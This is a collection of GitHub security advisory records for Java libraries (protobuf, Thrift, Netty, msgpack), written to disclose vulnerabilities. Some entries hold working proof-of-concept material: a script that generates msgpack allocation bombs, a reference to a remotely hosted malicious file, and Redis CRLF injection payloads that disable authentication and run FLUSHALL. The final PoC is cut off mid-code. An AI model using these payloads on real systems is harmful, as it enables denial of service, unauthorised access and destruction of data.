"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CBAUKJQL6O4TIWYBENORSY5P43TVB4M3"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MPCGUT3T5L6C3IDWUPSUO22QDCGQKTOP"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202301-09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "protobuf-java has a potential Denial of Service issue"
}
GHSA-RJ7P-RFGP-852X
Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2022-06-27 16:12In Apache Thrift all versions up to and including 0.12.0, a server or client may run into an endless loop when feed with specific input data. Because the issue had already been partially fixed in version 0.11.0, depending on the installed version it affects only certain language bindings.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.12.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
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"introduced": "0"
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}
],
"type": "ECOSYSTEM"
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]
}
],
"aliases": [
"CVE-2019-0205"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-27T16:12:09Z",
"nvd_published_at": "2019-10-29T19:15:00Z",
"severity": "HIGH"
},
"details": "In Apache Thrift all versions up to and including 0.12.0, a server or client may run into an endless loop when feed with specific input data. Because the issue had already been partially fixed in version 0.11.0, depending on the installed version it affects only certain language bindings.",
"id": "GHSA-rj7p-rfgp-852x",
"modified": "2022-06-27T16:12:09Z",
"published": "2022-05-24T17:00:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0205"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4633082b834eebccd0d322697651d931ab10ca9c51ee7ef18e1f60f4@%3Cdev.thrift.apache.org%3E"
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{
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"url": "https://lists.apache.org/thread.html/re387dc6ca11cb0b0ce4de8e800bb91ca50fee054b80105f5cd34adcb@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf359e5cc6a185494fc0cfe837fe82f7db2ef49242d35cbf3895aebce@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-32"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0804"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0805"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0806"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0811"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/003ac686189e6ce7b99267784d04bf60059a8c323eeda5a79a0309b8@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/07bd68ad237a5d513751d6d2731a8828f902c738ea57d85c1a72bad3@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/0d058e1bfd11727c4f2e2adf4b6e403a47c38e22431ab20066a1ac79@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/1193444c17f499f92cd198d464a2c1ffc92182c83487345a854914b3@%3Cuser.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/1c18ec6ebfea0a9211992be952e8b33d0fda202c077979b84a5e09a8@%3Cuser.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3dfa054b89274c9109c26ed1843ca15a14c03786f4016d26773878ae@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/928cae83d20d8d8196c26118f7084aa37573e1d31162381fb9454fb5@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/9f7150d0b02e72d1154721a412e80cf797f1b7cfa295fcefc67b1381@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/a9669756befaeb0f8e08766d3f4d410a0fce85da3a570506f71f0b67@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0c606d4be9aa163d132edf8edd8eb55e7b9464063b99acbbf6e9e287@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0d08f5576286f4a042aabde13ecf58979644f6dc210f25aa9a4d469b@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r137753c9df8dd9065bea27a26af49aadc406b5a57fc584fefa008afd@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1b1a92c229ead94d53b3bcde9e624d002b54f1c6fdb830b9f4da20e1@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r228ac842260c2c516af7b09f3cf4cf76e5b9c002e359954a203ab5a5@%3Cdev.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r2832722c31d78bef7526e2c701ba4b046736e4c851473194a247392f@%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r36581cc7047f007dd6aadbdd34e18545ec2c1eb7ccdae6dd47a877a9@%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3887b48b183b6fa43e59398bd170a99239c0a16264cb5175b5b689d0@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "http://mail-archives.apache.org/mod_mbox/thrift-dev/201910.mbox/%3CVI1PR0101MB2142E0EA19F582429C3AEBCBB1920%40VI1PR0101MB2142.eurprd01.prod.exchangelabs.com%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Loop with Unreachable Exit Condition in Apache Thrift"
}
GHSA-G5WW-5JH7-63CX
Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:35A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.17.0"
},
{
"fixed": "3.19.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3509"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T22:33:53Z",
"nvd_published_at": "2022-12-12T13:15:00Z",
"severity": "HIGH"
},
"details": "A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
"id": "GHSA-g5ww-5jh7-63cx",
"modified": "2025-09-02T19:35:38Z",
"published": "2022-12-12T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3509"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/a3888f53317a8018e7a439bac4abeb8f3425d5e9"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/blob/v2.6.1/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/blob/v3.0.0/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}
GHSA-389X-839F-4RHX
Vulnerability from github – Published: 2025-02-10 18:14 – Updated: 2025-03-19 14:51Summary
An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.
Details
A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.
PoC
The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.
When the null-bytes are encountered by the InputStreamReader, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the BufferedReader.readLine(), because the replacement character is not a line-break character.
Impact
Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.118.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25193"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T18:14:47Z",
"nvd_published_at": "2025-02-10T22:15:38Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n### Details\nA similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv\nThis issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.\n\n\n### PoC\nThe PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.\nWhen the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character.\n\n### Impact\nImpact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv",
"id": "GHSA-389x-839f-4rhx",
"modified": "2025-03-19T14:51:27Z",
"published": "2025-02-10T18:14:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-389x-839f-4rhx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/d1fbda62d3a47835d3fb35db8bd42ecc205a5386"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250221-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service attack on windows app using Netty"
}
GHSA-CW39-R4H6-8J3X
Vulnerability from github – Published: 2026-01-05 14:59 – Updated: 2026-01-05 14:59Summary
Affected Components:
org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()
A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.
PoC
import msgpack
import struct
import os
OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)
# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)
length = 1
step = 10_000_000
while True:
try:
# EXT32: 0xC9 | length (4 bytes) | type (1 byte)
header = b'\xC9' + struct.pack(">I", length) + b'\x01'
payload = b'A' # actual data tiny
data = header + payload
fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
with open(fname, "wb") as f:
f.write(data)
print(f"[+] Generated EXT bomb with declared length={length}")
length += step
except Exception as e:
print("[!] Stopped:", e)
break
Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer
// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception {
byte[] data = Files.readAllBytes(
Paths.get("ext_length_470000001.msgpack")
);
MessageUnpacker unpacker =
MessagePack.newDefaultUnpacker(data);
ExtensionValue ext =
unpacker.unpackValue().asExtensionValue();
// Vulnerability trigger:
byte[] payload = ext.getData();
System.out.println(payload.length);
}
}
Compile
javac -cp msgpack-core-0.9.8.jar Main.java
Run (with limited heap)
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
Observed Result:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at org.msgpack.core.MessageUnpacker.readPayload(...)
at org.msgpack.core.MessageUnpacker.unpackValue(...)
var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();
Run:
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.
Resolution
This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11
Impact
This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.msgpack:msgpack-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21452"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T14:59:12Z",
"nvd_published_at": "2026-01-02T21:16:03Z",
"severity": "HIGH"
},
"details": "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n try:\n # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n header = b\u0027\\xC9\u0027 + struct.pack(\"\u003eI\", length) + b\u0027\\x01\u0027\n payload = b\u0027A\u0027 # actual data tiny\n\n data = header + payload\n\n fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n with open(fname, \"wb\") as f:\n f.write(data)\n\n print(f\"[+] Generated EXT bomb with declared length={length}\")\n length += step\n\n except Exception as e:\n print(\"[!] Stopped:\", e)\n break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n public static void main(String[] args) throws Exception {\n\n byte[] data = Files.readAllBytes(\n Paths.get(\"ext_length_470000001.msgpack\")\n );\n\n MessageUnpacker unpacker =\n MessagePack.newDefaultUnpacker(data);\n\n ExtensionValue ext =\n unpacker.unpackValue().asExtensionValue();\n\n // Vulnerability trigger:\n byte[] payload = ext.getData();\n\n System.out.println(payload.length);\n }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n at org.msgpack.core.MessageUnpacker.readPayload(...)\n at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
"id": "GHSA-cw39-r4h6-8j3x",
"modified": "2026-01-05T14:59:12Z",
"published": "2026-01-05T14:59:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
},
{
"type": "PACKAGE",
"url": "https://github.com/msgpack/msgpack-java"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation"
}
GHSA-RGRR-P7GP-5XJ7
Vulnerability from github – Published: 2026-05-07 00:24 – Updated: 2026-05-14 20:41Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-redis) |
| Component | io.netty.handler.codec.redis.RedisEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |
| Impact | Redis Command Injection / Response Poisoning |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
The following classes in the codec-redis module are affected:
io.netty.handler.codec.redis.RedisEncoder(encoder - no output validation)io.netty.handler.codec.redis.InlineCommandRedisMessage(no input validation)io.netty.handler.codec.redis.SimpleStringRedisMessage(no input validation)io.netty.handler.codec.redis.ErrorRedisMessage(no input validation)io.netty.handler.codec.redis.AbstractStringRedisMessage(base class - no validation)
3. Vulnerability Description
The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.
Root Cause
In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
RedisConstants.EOL_LENGTH);
type.writeTo(buf);
ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION
buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n
out.add(buf);
}
The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:
// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
// NO CRLF validation
}
Comparison with Similar Fixed CVEs
This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder - SMTP command injection | Added SmtpUtils.validateSMTPParameters() to check for \r and \n |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder - CRLF in URI | Added HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP |
The Redis codec has no equivalent validation in either the encoder or the message constructors.
4. Exploitability Prerequisites
This vulnerability is exploitable when all of the following conditions are met:
- The application uses Netty's
codec-redismodule to communicate with a Redis server - User-controlled input is placed into
InlineCommandRedisMessage,SimpleStringRedisMessage, orErrorRedisMessagecontent - The application does not perform its own CRLF sanitization before constructing these message objects
Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.
Affected use cases include:
- Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity
- Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses
- Applications that construct Redis monitoring or diagnostic commands from user input
- Redis Sentinel or Cluster management tools using inline command format
5. Attack Scenarios
Scenario 1: Redis Command Injection via Inline Commands
When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:
// Application code that builds Redis commands from user input
String userKey = request.getParameter("key"); // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);
Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"
Result: Three commands sent to Redis:
1. GET foo
2. CONFIG SET requirepass "" (removes authentication!)
3. FLUSHALL (deletes all data!)
Scenario 2: Redis Response Poisoning
When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:
// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);
Malicious upstream response: "OK\r\n$6\r\nhacked"
Client sees:
1. Simple String: +OK (expected response)
2. Bulk String: $6\r\nhacked (injected fake data!)
Scenario 3: Error Message Injection
ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);
Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"
Client sees:
1. Error: -ERR unknown
2. Simple String: +FAKE_SUCCESS (injected fake success!)
6. Proof of Concept
Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;
import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;
/**
* PoC: Redis Encoder CRLF Injection Vulnerability
*
* Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
* and ErrorRedisMessage do not validate content for CRLF characters,
* allowing Redis command injection via the RESP protocol.
*/
public class RedisEncoderCRLFInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");
testInlineCommandInjection();
testSimpleStringInjection();
testErrorMessageInjection();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: Inline Command Injection
* An attacker-controlled string injected into InlineCommandRedisMessage
* results in multiple Redis commands being sent.
*/
static void testInlineCommandInjection() {
System.out.println("[TEST 1] Inline Command CRLF Injection");
System.out.println("----------------------------------------");
// Malicious content: inject FLUSHALL after a benign PING
String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
// This should be rejected but is accepted
InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: InlineCommandRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// Count how many CRLF-delimited commands are in the output
String[] commands = encoded.split("\r\n");
System.out.println("Number of commands parsed by Redis: " + commands.length);
for (int i = 0; i < commands.length; i++) {
if (!commands[i].isEmpty()) {
System.out.println(" Command " + (i + 1) + ": " + commands[i]);
}
}
boolean vulnerable = commands.length > 1;
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
System.out.println();
}
/**
* Test 2: SimpleString Response Injection
* When Netty acts as a Redis proxy/middleware, a malicious SimpleString
* can inject fake responses to the downstream client.
*/
static void testSimpleStringInjection() {
System.out.println("[TEST 2] SimpleString Response CRLF Injection");
System.out.println("----------------------------------------------");
// Malicious content: inject a fake bulk string response after OK
String maliciousContent = "OK\r\n$6\r\nhacked";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
